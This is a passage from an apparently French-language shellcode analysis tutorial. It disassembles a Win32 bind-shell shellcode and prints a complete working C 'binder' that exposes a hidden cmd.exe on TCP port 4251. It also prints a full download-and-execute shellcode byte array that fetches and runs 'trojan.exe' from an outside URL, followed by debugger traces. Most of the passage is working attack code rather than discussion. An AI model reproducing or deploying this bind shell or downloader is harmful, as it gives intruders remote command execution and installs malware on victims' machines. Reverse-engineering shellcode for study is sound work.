4e6b6565 teProcessA.PeekN 0x0012FE6C 64656d61 65706950 6f6c4700 416c6162 amedPipe.GlobalA >dd edi 0x0012FE04 6b636f73 62007465 00646e69 7473696c socket.bind.list 0x0012FE14 61006e65 70656363 65730074 7200646e en.accept.send.r 0x0012FE24 00766365 736f6c63 636f7365 0074656b ecv.closesocket. 0x0012FE34 4e52454b 32334c45 65724300 50657461 KERNEL32.CreateP 0x0012FE44 00657069 53746547 74726174 6e497075 ipe.GetStartupIn 0x0012FE54 00416f66 61657243 72506574 7365636f foA.CreateProces 0x0012FE64 50004173 4e6b6565 64656d61 65706950 sA.PeekNamedPipe 0x0012FE74 6f6c4700 416c6162 636f6c6c 61655200 .GlobalAlloc.Rea > **************/ 0012FAF6 6A07 push 7 0012FAF8 90 nop 0012FAF9 90 nop // sa sent la modification de derniere 0012FAFA 90 nop // minute ces nop :)) 0012FAFB 90 nop 0012FAFC 59 pop ecx // ok, tout sa pour dire mov ecx, 7 0012FAFD E8D2020000 call 0012FDD4 // Function_Make_JMP_Table (7,edi,"WSOCK32") 0012FB02 8DB52A254000 lea esi,[ebp+40252Ah] // LIB KERNEL32 0012FB08 8DBD33254000 lea edi,[ebp+402533h] // ptr 1er API_NAME 0012FB0E 6A0A push 0Ah // 10 API addresse a retrouver 0012FB10 90 nop 0012FB11 90 nop 0012FB12 90 nop 0012FB13 90 nop 0012FB14 59 pop ecx // stored in ecx 0012FB15 E8BA020000 call 0012FDD4 // Function_Make_JMP_Table (10,edi,"KERNEL32") // créé 2 pipes +++ 0012FB1A 6A00 push 0 // DWORD nSize 0012FB1C 8DB5D9254000 lea esi,[ebp+4025D9h] 0012FB22 56 push esi // LPSECURITY_ATTRIBUTES SECU 0012FB23 8DB5E5254000 lea esi,[ebp+4025E5h] 0012FB29 56 push esi // PHANDLE WRITE1 0012FB2A 8DB5E9254000 lea esi,[ebp+4025E9h] 0012FB30 56 push esi // PHANDLE READ1 0012FB31 FF9533254000 call dword ptr [ebp+402533h] // CreatePipe (&READ1,&WRITE1,&SECU,0) 0012FB37 6A00 push 0 0012FB39 8DB5D9254000 lea esi,[ebp+4025D9h] 0012FB3F 56 push esi // LPSECURITY_ATTRIBUTES SECU 0012FB40 8DB5ED254000 lea esi,[ebp+4025EDh] 0012FB46 56 push esi // PHANDLE WRITE2 0012FB47 8DB5F1254000 lea esi,[ebp+4025F1h] 0012FB4D 56 push esi // PHANDLE READ2 0012FB4E FF9533254000 call dword ptr [ebp+402533h] // CreatePipe (&READ2,&WRITE2,&SECU,0) +++ 0012FB54 C785F525400044000000 mov dword ptr [ebp+4025F5h],44h SI->cb = 0x44 0012FB5E 8DB5F5254000 lea esi,[ebp+4025F5h] 0012FB64 56 push esi // LPSTARTUPINFO SI 0012FB65 FF9537254000 call dword ptr [ebp+402537h] // GetStartupInfo (&SI) 0012FB6B 8DB52D264000 lea esi,[ebp+40262Dh] 0012FB71 AD lods dword ptr [esi] 0012FB72 50 push eax 0012FB73 FF9553254000 call dword ptr [ebp+402553h] // CloseHandle (READ2) 0012FB79 8DB531264000 lea esi,[ebp+402631h] 0012FB7F AD lods dword ptr [esi] 0012FB80 50 push eax 0012FB81 FF9553254000 call dword ptr [ebp+402553h] // CloseHandle (WRITE1) // formatage de structures 0012FB87 8DB5F1254000 lea esi,[ebp+4025F1h] 0012FB8D 8DBD2D264000 lea edi,[ebp+40262Dh] 0012FB93 A5 movs dword ptr [edi],dword ptr [esi] 0012FB94 8DB5E5254000 lea esi,[ebp+4025E5h] 0012FB9A AD lods dword ptr [esi] 0012FB9B 8DBD31264000 lea edi,[ebp+402631h] 0012FBA1 AB stos dword ptr [edi] 0012FBA2 8DBD35264000 lea edi,[ebp+402635h] 0012FBA8 AB stos dword ptr [edi] 0012FBA9 C7852526400000000000 mov dword ptr [ebp+402625h],0 0012FBB3 C7852126400001010000 mov dword ptr [ebp+402621h],101h 0012FBBD 8DB539264000 lea esi,[ebp+402639h] 0012FBC3 56 push esi // &ProcessInformation 0012FBC4 8DB5F5254000 lea esi,[ebp+4025F5h] 0012FBCA 56 push esi // &StartupInfo 0012FBCB 6A00 push 0 // LPCTSTR lpCurrentDirectory = NULL 0012FBCD 6A00 push 0 // LPVOID lpEnvironment = NULL 0012FBCF 6A10 push 10h // DWORD dwCreationFlags = CREATE_NEW_CONSOLE 0012FBD1 6A01 push 1 // BOOL bInheritHandles = TRUE 0012FBD3 6A00 push 0 // LPSECURITY_ATTRIBUTES lpThreadAttributes = NULL 0012FBD5 6A00 push 0 // LPSECURITY_ATTRIBUTES lpProcessAttributes = NULL 0012FBD7 8DB549264000 lea esi,[ebp+402649h] 0012FBDD 56 push esi // LPTSTR lpCommandLine = "CMD.exe" 0012FBDE 6A00 push 0 // LPCTSTR lpApplicationName = NULL // CreateProcess (NULL,"cmd.exe",NULL,NULL,TRUE,CREATE_NEW_CONSOLE,NULL,&StartupInfo,&ProcessInformation) 0012FBE0 FF953B254000 call dword ptr [ebp+40253Bh] 0012FBE6 6800200000 push 2000h 0012FBEB 90 nop 0012FBEC 6800020000 push 200h 0012FBF1 FF9543254000 call dword ptr [ebp+402543h] // GlobalAlloc (GPTR,8192); 0012FBF7 898551264000 mov dword ptr [ebp+402651h],eax // EAX: 00136100 0012FBFD 33C0 xor eax,eax // remise a zero 0012FBFF 50 push eax // EAX: 0 0012FC00 40 inc eax 0012FC01 50 push eax // EAX: 1 0012FC02 40 inc eax 0012FC03 50 push eax // EAX: 2 0012FC04 FF95FA244000 call dword ptr [ebp+4024FAh] // socket (AF_INET,SOCK_STREAM,0) 0012FC0A 50 push eax 0012FC0B 5B pop ebx // ebx = SOCKET MySocket 0012FC0C 6A10 push 10h // namelen = sizeof (addr) 0012FC0E 8DB5C9254000 lea esi,[ebp+4025C9h] 0012FC14 56 push esi // const struct sockaddr FAR * addr 0012FC15 53 push ebx 0012FC16 FF95FE244000 call dword ptr [ebp+4024FEh] // bind (MySocket,&addr,namelen) 0012FC1C 6A03 push 3 // backlog = 3 0012FC1E 53 push ebx 0012FC1F FF9502254000 call dword ptr [ebp+402502h] //listen (MySocket,backlog) 0012FC25 8DB555264000 lea esi,[ebp+402655h] 0012FC2B 56 push esi int FAR *addrlen 0012FC2C 8DB5C9254000 lea esi,[ebp+4025C9h] 0012FC32 56 push esi // struct sockaddr FAR * addr 0012FC33 53 push ebx // SOCKET MySocket 0012FC34 FF9506254000 call dword ptr [ebp+402506h] // accept (MySocket,&addr,&addrlen) 0012FC3A 8DBD59264000 lea edi,[ebp+402659h] 0012FC40 AB stos dword ptr [edi] // sauve le handle de NewSocket 0012FC41 33C0 xor eax,eax 0012FC43 50 push eax // LPDWORD lpcbMessage = NULL 0012FC44 8DBD65264000 lea edi,[ebp+402665h] 0012FC4A 57 push edi // LPDWORD lpcbAvail 0012FC4B 50 push eax // LPDWORD lpcbRead = NULL 0012FC4C 50 push eax // DWORD cbBuffer = NULL 0012FC4D 50 push eax // LPVOID lpvBuffer = NULL 0012FC4E 8DB5E9254000 lea esi,[ebp+4025E9h] 0012FC54 AD lods dword ptr [esi] 0012FC55 50 push eax // HANDLE READ1 // PeekNamedPipe (READ1, NULL, NULL, NULL, &lpcbAvail, NULL) 0012FC56 FF953F254000 call dword ptr [ebp+40253Fh] 0012FC5C 6A30 push 30h 0012FC5E FF954F254000 call dword ptr [ebp+40254Fh] // Sleep (48) 0012FC64 EB4D jmp 0012FCB3 // jump ====> bypass *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 0012FC66 90 nop 0012FC67 90 nop 0012FC68 90 nop Loop : 0012FC69 33C0 xor eax,eax // eax = 0 0012FC6B 50 push eax LPDWORD lpcbMessage = NULL 0012FC6C 8DBD65264000 lea edi,[ebp+402665h] 0012FC72 57 push edi // LPDWORD lpcbAvail 0012FC73 50 push eax // LPDWORD lpcbRead = NULL 0012FC74 50 push eax // DWORD cbBuffer = NULL 0012FC75 50 push eax // LPVOID lpvBuffer = NULL 0012FC76 8DB5E9254000 lea esi,[ebp+4025E9h] 0012FC7C AD lods dword ptr [esi] 0012FC7D 50 push eax // HANDE READ1 // PeekNamedPipe (READ,NULL,NULL,NULL,&lpcbAvail,NULL) 0012FC7E FF953F254000 call dword ptr [ebp+40253Fh] 0012FC84 6A50 push 50h 0012FC86 FF954F254000 call dword ptr [ebp+40254Fh] // Sleep (80) 0012FC8C 83BD6526400002 cmp dword ptr [ebp+402665h],2 // loop while (!lpcbAvail) 0012FC93 0F8217010000 jb 0012FDB0 A_boucle : 0012FC99 81BD6526400001200000 cmp dword ptr [ebp+402665h],2001h 0012FCA3 720E jb 0012FCB3 0012FCA5 90 nop 0012FCA6 90 nop 0012FCA7 90 nop 0012FCA8 90 nop 0012FCA9 C7856526400000200000 mov dword ptr [ebp+402665h],2000h *-*-*-*-*-*-*-*-*-*-*-*- =====> bypass : 0012FCB3 6A00 push 0 // LPOVERLAPPED lpOverlapped = NULL 0012FCB5 8B8565264000 mov eax,dword ptr [ebp+402665h] 0012FCBB 8DBD65264000 lea edi,[ebp+402665h] 0012FCC1 57 push edi // LPDWORD lpNumberOfBytesRead = NULL 0012FCC2 50 push eax // DWORD nNumberOfBytesToRead = NULL 0012FCC3 8B8551264000 mov eax,dword ptr [ebp+402651h] 0012FCC9 50 push eax // LPVOID lpBuffer = 0x1360e8 0012FCCA 8DB5E9254000 lea esi,[ebp+4025E9h] 0012FCD0 AD lods dword ptr [esi] 0012FCD1 50 push eax // HANDLE hFile = 60 // ReadFile (hFile,&lpBuffer,NULL,NULL,NULL) 0012FCD2 FF9547254000 call dword ptr [ebp+402547h] 0012FCD8 6A50 push 50h 0012FCDA FF954F254000 call dword ptr [ebp+40254Fh] // Sleep (80) 0012FCE0 8B8565264000 mov eax,dword ptr [ebp+402665h] 0012FCE6 6A00 push 0 // int flags = 0; 0012FCE8 50 push eax // int len; 0012FCE9 8DB551264000 lea esi,[ebp+402651h] 0012FCEF AD lods dword ptr [esi] 0012FCF0 50 push eax // const char FAR * buf 0012FCF1 8DB559264000 lea esi,[ebp+402659h] 0012FCF7 AD lods dword ptr [esi] 0012FCF8 50 push eax // SOCKET MySockey = 0xFFFFFFFF ?? // send (MySocket, &buff, strlen (buff),0) 0012FCF9 FF950A254000 call dword ptr [ebp+40250Ah] 0012FCFF 6A00 push 0 LPDWORD lpcbMessage = NULL 0012FD01 8DBD65264000 lea edi,[ebp+402665h] 0012FD07 57 push edi // LPDWORD lpcbAvail = NULL 0012FD08 6A00 push 0 // LPDWORD lpcbRead = NULL 0012FD0A 6A00 push 0 // DWORD cbBuffer = NULL 0012FD0C 6A00 push 0 // LPVOID lpvBuffer = NULL 0012FD0E 8DB5E9254000 lea esi,[ebp+4025E9h] 0012FD14 AD lods dword ptr [esi] 0012FD15 50 push eax // HANDLE READ1 //PeekNamedPipe (READ1,NULL,NULL,NULL,NULL,NULL) 0012FD16 FF953F254000 call dword ptr [ebp+40253Fh] 0012FD1C 6A50 push 50h 0012FD1E FF954F254000 call dword ptr [ebp+40254Fh] // Sleep (80) 0012FD24 33C9 xor ecx,ecx 0012FD26 398D65264000 cmp dword ptr [ebp+402665h],ecx // si rien a lire sur la socket 0012FD2C 0F8767FFFFFF ja 0012FC99 // jmp A_boucle 0012FD32 6A00 push 0 // int flags = 0 0012FD34 6800200000 push 2000h // buffer len = 8192 bytes 0012FD39 90 nop 0012FD3A 8DB551264000 lea esi,[ebp+402651h] 0012FD40 AD lods dword ptr [esi] 0012FD41 50 push eax // char FAR * buf 0012FD42 8DB559264000 lea esi,[ebp+402659h] 0012FD48 AD lods dword ptr [esi] 0012FD49 50 push eax // SOCKET MySocket // NumberOfByteRead = recv (MySocket,&buff,0x2000,0) 0012FD4A FF950E254000 call dword ptr [ebp+40250Eh] 0012FD50 898561264000 mov dword ptr [ebp+402661h],eax // save NumberOfByteRead 0012FD56 6A00 push 0 // LPOVERLAPPED lpOverlapped = 0 0012FD58 8DBD65264000 lea edi,[ebp+402665h] 0012FD5E 57 push edi // LPDWORD lpNumberOfBytesWritten 0012FD5F 50 push eax // DWORD nNumberOfBytesToWrite 0012FD60 8DB551264000 lea esi,[ebp+402651h] 0012FD66 AD lods dword ptr [esi] 0012FD67 50 push eax // LPCVOID lpBuffer 0012FD68 8DB5ED254000 lea esi,[ebp+4025EDh] 0012FD6E AD lods dword ptr [esi] 0012FD6F 50 push eax // HANDLE WRITE2 // WriteFile (WRITE2,&lpBuffer,nNumberOfBytesToWrite,&lpNumberOfBytesWritten,0) 0012FD70 FF954B254000 call dword ptr [ebp+40254Bh] 0012FD76 6A50 push 50h 0012FD78 FF954F254000 call dword ptr [ebp+40254Fh] // Sleep (80) 0012FD7E 6A00 push 0 // LPOVERLAPPED lpOverlapped = 0 0012FD80 8B8561264000 mov eax,dword ptr [ebp+402661h] 0012FD86 8DBD65264000 lea edi,[ebp+402665h] 0012FD8C 57 push edi // LPDWORD lpNumberOfBytesRead 0012FD8D 50 push eax // DWORD nNumberOfBytesToRead 0012FD8E 8B8551264000 mov eax,dword ptr [ebp+402651h] 0012FD94 50 push eax // LPVOID lpBuffer 0012FD95 8DB5E9254000 lea esi,[ebp+4025E9h] 0012FD9B AD lods dword ptr [esi] 0012FD9C 50 push eax // HANDLE READ1 // ReadFile (READ1,nNumberOfBytesToRead,&lpNumberOfBytesRead,0) 0012FD9D FF9547254000 call dword ptr [ebp+402547h] 0012FDA3 6A50 push 50h 0012FDA5 FF954F254000 call dword ptr [ebp+40254Fh] // Sleep (80) 0012FDAB E9B9FEFFFF jmp 0012FC69 // jmp Loop (boucle infinie) /*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Function_Make_JMP_Table (int Nbr_of_API, LPTSTR API_TABLE, char *LIBRARY_NAME) /*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ /*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Function_Make_JMP_Table : 0012FDD4 51 push ecx // 7 API a check 0012FDD5 56 push esi // push LIBRARY_NAME 0012FDD6 6874404000 push 404074h // push (void *) LoadLibraryA 0012FDDB 90 nop 0012FDDC 5A pop edx 0012FDDD FF12 call dword ptr [edx] // call LoadLibraryA (LIBRARY_NAME) /************************** >dd edx 0x00404074 77e7a254 ***************************/ 0012FDDF 50 push eax // eax = (HMODULE) LIBRARY_NAME 0012FDE0 5B pop ebx // mov ebx, eax 0012FDE1 59 pop ecx // mov ecx, 7 0012FDE2 57 push edi 0012FDE3 5E pop esi // esi = (char *) API_NAME[ecx] Retrive_API_Address : 0012FDE4 51 push ecx // 7 0012FDE5 56 push esi // API_NAME[ecx]=API_TABLE 0012FDE6 53 push ebx // LIBRARY_NAME 0012FDE7 6870404000 push 404070h 0012FDEC 90 nop 0012FDED 5A pop edx // mov edx, [IT adresse de GetProcAddress] 0012FDEE FF12 call dword ptr [edx] // GetProcAddress (LIBRARY_NAME,API_NAME[ecx]) /************************** >dd edx 0x00404070 77e79ac1 ***************************/ 0012FDF0 50 push eax // eax = (void *) API_NAME 0012FDF1 AC lods byte ptr [esi] // boucle qui avance le 0012FDF2 84C0 test al,al // pointeur sur le prochain 0012FDF4 75FB jne 0012FDF1 // nom d'API a loader // API_NAME[--ecx] 0012FDF6 58 pop eax // restore l'adresse de socket () 0012FDF7 AB stos dword ptr [edi] // place un 0 dans l'API table 0012FDF8 59 pop ecx // 0012FDF9 E2E9 loop 0012FDE4 // while (ecx) loop Retrive_API_Address 0012FDFB C3 ret // fin de fonction ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ Cette analyse de code pouvant faire peur a certaines personnes, voici un binder trivial en C, de facon a mieux comprendre la démarche du shellcode de Zan ========================================== binder.c ============================================ #include #include #include #define RECV_BUF 1024 void main (int argc, char *argv[]) { HANDLE Read1,Write1,Read2,Write2; SOCKET sock1, mysock; SECURITY_ATTRIBUTES secu={(DWORD)sizeof (SECURITY_ATTRIBUTES),NULL,TRUE}; STARTUPINFO starti; PROCESS_INFORMATION pi; SOCKADDR_IN sin; WSADATA wsadata; WORD wVersionRequested = MAKEWORD (2,0); unsigned short port=4251; //bind port DWORD lpNumberOfBytesRead; int err; char buffer[RECV_BUF], cmd[MAX_PATH], invite[]="------------------------------\n" " Simple CMD Binder, By ThreaT\n" "Tapez 2 fois EXIT pour quitter\n" " Have fun !\n" "------------------------------\n"; lpNumberOfBytesRead = GetEnvironmentVariable("ComSpec",cmd,MAX_PATH); if (!lpNumberOfBytesRead) ExitProcess (0); err = WSAStartup(wVersionRequested, &wsadata); if (err) ExitProcess (0); sin.sin_family = AF_INET; sin.sin_addr.s_addr=0; sin.sin_port = htons (port); err = sizeof (sin); sock1 = socket (AF_INET, SOCK_STREAM, 0); bind (sock1, (SOCKADDR *)&sin, err); listen (sock1,0); mysock = accept (sock1,(SOCKADDR *)&sin, &err); if (mysock == INVALID_SOCKET) ExitProcess (0); CreatePipe(&Read1,&Write1,&secu,0); CreatePipe(&Read2,&Write2,&secu,0); ZeroMemory (&starti,sizeof (starti)); ZeroMemory (&pi,sizeof (pi)); starti.cb=sizeof (STARTUPINFO); starti.dwFlags=STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES; starti.wShowWindow=SW_HIDE; starti.hStdInput=Read2; starti.hStdOutput=Write1; starti.hStdError=Write1; err = CreateProcess(NULL,cmd,&secu,&secu,TRUE,0,NULL,NULL,&starti,&pi); if (!err) ExitProcess (0); send (mysock,invite,sizeof (invite),0); while (1) { Sleep (100); ZeroMemory (buffer,RECV_BUF); PeekNamedPipe(Read1,(DWORD)NULL,(DWORD)NULL,(DWORD)NULL,&lpNumberOfBytesRead,(DWORD)NULL); while (lpNumberOfBytesRead) { Sleep (200); err = ReadFile(Read1,buffer,RECV_BUF,&lpNumberOfBytesRead,NULL); if (!err) break; else send (mysock,buffer,lpNumberOfBytesRead,0); PeekNamedPipe(Read1,(DWORD)NULL,(DWORD)NULL,(DWORD)NULL,&lpNumberOfBytesRead,(DWORD)NULL); } Sleep (200); err = recv (mysock,buffer,RECV_BUF,0); if (!lstrcmpi (buffer,"exit\n")) { closesocket (mysock); TerminateProcess(pi.hProcess,0); ExitProcess (0); } else WriteFile(Write2,buffer,err,&lpNumberOfBytesRead,0); } } ========================================== EOF =============================================== Nous pouvons dorénavant en dire un peu plus sur ce shellcode, à savoir : 1 + une technique original pour retrouver l'offset du shellcode crypté permet de gagner en octets et en temps machine 2 + une fonction principale (Function_Make_JMP_Table) permettant de créer une jump table de toutes les fonctions utilisées par le programme s'avère très pratique 3 - Un stockage de tout les noms d'API grossit très fortement le shellcode 4 - Des endroits bourré de NOP auraient pu être évités, ce qui marque encore un point négatif quant à l'optimisation de sa taille. 5 - La méthode de travail utilisée ici (par jmp table) est vraiment trop lourde, et génère un code bourré de null bytes (obligé d'être crypté) bref, nous somme en possession d'un shellcode lourd (1218 BYTES !!), nécessitant 2 adresses hardcodés ! allons voir ailleurs si il n'existe pas mieux... \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ ETUDE DU SHELLCODE GENERIQUE DE RAISE. /////////////////////////////////////////////////////////////////////////////////////////// Pour rester dans notre trip, étudions maintenant un shellcode générique utilisant un scan de l'import table pour retrouver ses petits, j'ai bien sur nommé, le shellcode générique de RaiSe. pour commencer, on remarque que ce fameux shellcode a été retouché plusieur fois, la version que nous étudierons sera donc celle ci http://www.undersec.com/programas/generic-win32.c Il est tout à fait possible que vous ayez trouver une version différente quelque part au fin fond du web, je vous rassure, les réactions du test restent les mêmes à quelque chose près... voici le code que nous allons torturer ====================================== raise.c ============================================== #include void main () { char scode[] = "\xEB\x30\x5F\xFC\x8B\xF7\x80" "\x3F\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x8B\xE6\x33\xD2\xB2\x04\xC1" "\xE2\x08\x2B\xE2\x8B\xEC\x33\xD2\xB2\x03\xC1\xE2\x08\x2B\xE2\x54\x5A\xB2\x7C\x8B" "\xE2\xEB\x02\xEB\x57\x89\x75\xFC\x33\xC0\xB4\x40\xC1\xE0\x08\x89\x45\xF8\x8B\x40" "\x3C\x03\x45\xF8\x8D\x40\x7E\x8B\x40\x02\x03\x45\xF8\x8B\xF8\x8B\x7F\x0C\x03\x7D" "\xF8\x81\x3F\x4B\x45\x52\x4E\x74\x07\x83\xC0\x14\x8B\xF8\xEB\xEB\x50\x8B\xF8\x33" "\xC9\x33\xC0\xB1\x10\x8B\x17\x03\x55\xF8\x52\xEB\x03\x57\x8B\xD7\x80\x7A\x03\x80" "\x74\x16\x8B\x32\x03\x75\xF8\x83\xC6\x02\xEB\x02\xEB\x7E\x8B\x7D\xFC\x51\xF3\xA6" "\x59\x5F\x74\x06\x40\x83\xC7\x04\xEB\xDB\x5F\x8B\x7F\x10\x03\x7D\xF8\xC1\xE0\x02" "\x03\xF8\x8B\x07\x8B\x5D\xFC\x8D\x5B\x11\x53\xFF\xD0\x89\x45\xF4\x8B\x40\x3C\x03" "\x45\xF4\x8B\x70\x78\x03\x75\xF4\x8D\x76\x1C\xAD\x03\x45\xF4\x89\x45\xF0\xAD\x03" "\x45\xF4\x89\x45\xEC\xAD\x03\x45\xF4\x89\x45\xE8\x8B\x55\xEC\x8B\x75\xFC\x8D\x76" "\x1E\x33\xDB\x33\xC9\xB1\x0F\x8B\x3A\x03\x7D\xF4\x56\x51\xF3\xA6\x59\x5E\x74\x06" "\x43\x8D\x52\x04\xEB\xED\xD1\xE3\x8B\x75\xE8\x03\xF3\x33\xC9\x66\x8B\x0E\xEB\x02" "\xEB\x7D\xC1\xE1\x02\x03\x4D\xF0\x8B\x09\x03\x4D\xF4\x89\x4D\xE4\x8B\x5D\xFC\x8D" "\x5B\x2D\x33\xC9\xB1\x07\x8D\x7D\xE0\x53\x51\x53\x8B\x55\xF4\x52\x8B\x45\xE4\xFC" "\xFF\xD0\x59\x5B\xFD\xAB\x8D\x64\x24\xF8\x38\x2B\x74\x03\x43\xEB\xF9\x43\xE2\xE1" "\x8B\x45\xE0\x53\xFC\xFF\xD0\xFD\xAB\x33\xC9\xB1\x04\x8D\x5B\x0C\xFC\x53\x51\x53" "\x8B\x55\xC4\x52\x8B\x45\xE4\xFF\xD0\x59\x5B\xFD\xAB\x38\x2B\x74\x03\x43\xEB\xF9" "\x43\xE2\xE5\xFC\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\x52\x8B\x45\xD4\xFF\xD0" "\x89\x45\xB0\x33\xD2\xEB\x02\xEB\x77\x52\x52\x52\x52\x53\x8B\x45\xC0\xFF\xD0\x8D" "\x5B\x03\x89\x45\xAC\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52\x52\x8D\x7B" "\x09\x57\x50\x8B\x45\xBC\xFF\xD0\x89\x45\xA8\x8D\x55\xA0\x52\x33\xD2\xB6\x1F\xC1" "\xE2\x08\x52\x8B\x4D\xB0\x51\x50\x8B\x45\xB8\xFF\xD0\x8B\x4D\xA8\x51\x8B\x45\xB4" "\xFF\xD0\x8B\x4D\xAC\x51\x8B\x45\xB4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xDC\xFF\xD0" "\x89\x45\xA4\x8B\x7D\xA0\x57\x8B\x55\xB0\x52\x50\x8B\x45\xD8\xFF\xD0\x8B\x55\xA4" "\x52\x8B\x45\xD0\xFF\xD0\xEB\x02\xEB\x12\x33\xD2\x90\x52\x53\x8B\x45\xCC\xFF\xD0" "\x33\xD2\x52\x8B\x45\xC8\xFF\xD0\xE8\xE6\xFD\xFF\xFF\x47\x65\x74\x4D\x6F\x64\x75" "\x6C\x65\x48\x61\x6E\x64\x6C\x65\x41\x08\x6B\x65\x72\x6E\x65\x6C\x33\x32\x2E\x64" "\x6C\x6C\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x4C\x6F" "\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x08\x5F\x6C\x63\x72\x65\x61\x74\x08\x5F" "\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61\x6C\x41\x6C\x6C\x6F\x63\x08\x5F" "\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78\x65\x63\x08\x45\x78\x69\x74\x50" "\x72\x6F\x63\x65\x73\x73\x08\x77\x69\x6E\x69\x6E\x65\x74\x2E\x64\x6C\x6C\x08\x49" "\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65" "\x74\x4F\x70\x65\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65" "\x61\x64\x46\x69\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65" "\x48\x61\x6E\x64\x6C\x65\x08\x4E\x53\x08\x6E\x73\x73\x63\x2E\x65\x78\x65\x08" "http://www.chez.com/mvm/trojan.exe" "\x08\x01"; void (*shellcode) () = (void * ) scode; shellcode (); } ======================================== EOF ================================================== E:\code\SP>cl raise.c Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8168 for 80x86 Copyright (C) Microsoft Corp 1984-1998. All rights reserved. raise.c Microsoft (R) Incremental Linker Version 6.00.8168 Copyright (C) Microsoft Corp 1992-1998. All rights reserved. /out:raise.exe raise.obj E:\code\SP>raise Module Load: E:\CODE\SP\raise.exe (symbol loading deferred) Thread Create: Process=0, Thread=0 Module Load: C:\WINNT\SYSTEM32\ntdll.dll (symbol loading deferred) Module Load: C:\WINNT\SYSTEM32\kernel32.dll (symbol loading deferred) Module Load: C:\WINNT\SYSTEM32\ntdll.dll (could not open symbol file) Module Load: E:\CODE\SP\raise.exe (no symbols loaded) Thread Create: Process=0, Thread=1 Second chance exception c0000005 (Access Violation) occurred Thread stopped. >rt EAX=00000024 EBX=7ffdf000 ECX=00000010 EDX=004044ac ESI=658700cc EDI=0012fe88 EIP=0012fcfd ESP=0012f770 EBP=0012fa88 EFL=00000206 CS=001b DS=0023 ES=0023 SS=0023 FS=0038 GS=0000 Dr0=e14a4a18 Dr1=fb375a01 Dr2=00000000 Dr3=e14e7008 Dr6=e265bc88 Dr7=00000001 >u eip-6 0012FCF7 EB7E jmp 0012FD77 0012FCF9 8B7DFC mov edi,dword ptr [ebp-4] 0012FCFC 51 push ecx 0012FCFD F3A6 repe cmps byte ptr [esi],byte ptr [edi] // crash 0012FCFF 59 pop ecx 0012FD00 5F pop edi 0012FD01 7406 je 0012FD09 0012FD03 40 inc eax > pour un shellcode sensé marcher sur toutes les plateformes, je ne trouve pas sa très fameux. On remarque une fois de plus que l'auteur d'un shellcode win32 c'est gardé de divulger son code source avec ses commentaires. nous allons donc nous en occuper à sa place... E:\code\SP>raise Module Load: E:\CODE\SP\raise2.exe (symbol loading deferred) Thread Create: Process=0, Thread=0 Module Load: C:\WINNT\SYSTEM32\ntdll.dll (symbol loading deferred) Module Load: C:\WINNT\SYSTEM32\kernel32.dll (symbol loading deferred) Module Load: C:\WINNT\SYSTEM32\ntdll.dll (could not open symbol file) Module Load: E:\CODE\SP\raise2.exe (no symbols loaded) Thread Create: Process=0, Thread=1 Hard coded breakpoint hit > 0012FC6C CC int 3 0012FC6D EB30 jmp 0012FC9F // far jump end_of_code 0012FC6F 5F pop edi // edi = (char *) API_TABLE /****************************************************************** >dd edi 0x0012FE89 4d746547 6c75646f 6e614865 41656c64 GetModuleHandleA 0x0012FE99 72656b08 336c656e 6c642e32 6547086c .kernel32.dll.Ge 0x0012FEA9 6f725074 64644163 73736572 616f4c08 tProcAddress.Loa 0x0012FEB9 62694c64 79726172 6c5f0841 61657263 dLibraryA._lcrea 0x0012FEC9 6c5f0874 74697277 6c470865 6c61626f t._lwrite.Global 0x0012FED9 6f6c6c41 6c5f0863 736f6c63 69570865 Alloc._lclose.Wi 0x0012FEE9 6578456e 78450863 72507469 7365636f nExec.ExitProces 0x0012FEF9 69770873 656e696e 6c642e74 6e49086c s.wininet.dll.In 0x0012FEF9 69770873 656e696e 6c642e74 6e49086c s.wininet.dll.In 0x0012FF09 6e726574 704f7465 08416e65 65746e49 ternetOpenA.Inte 0x0012FF19 74656e72 6e65704f 416c7255 746e4908 rnetOpenUrlA.Int 0x0012FF29 656e7265 61655274 6c694664 6e490865 ernetReadFile.In 0x0012FF39 6e726574 6c437465 4865736f 6c646e61 ternetCloseHandl 0x0012FF49 534e0865 73736e08 78652e63 74680865 e.NS.nssc.exe.ht 0x0012FF59 2f3a7074 7777772f 6568632e 6f632e7a tp://www.chez.co 0x0012FF69 766d2f6d 72742f6d 6e616a6f 6578652e m/mvm/trojan.exe 0x0012FF79 6c000108 c00012fc e30012ff 01004010 ...l.........@.. *******************************************************************/ /* * cette partie ce charge de formater l'API_TABLE en placant les caractères de terminaison * / 0012FC70 FC cld 0012FC71 8BF7 mov esi,edi 0012FC73 803F08 cmp byte ptr [edi],8 // 08h = caractere de separation choisi // pour eviter les null bytes 0012FC76 7503 jne 0012FC7B // si edi = caractere de terminaison 0012FC78 803708 xor byte ptr [edi],8 // le changer en 0x00 0012FC7B 47 inc edi // incremente edi 0012FC7C 803F01 cmp byte ptr [edi],1 // 01h = caractere de fin de l'API_TABLE 0012FC7F 75F2 jne 0012FC73 // loop until edi != 0x01 /* end of function */ 0012FC81 8BE6 mov 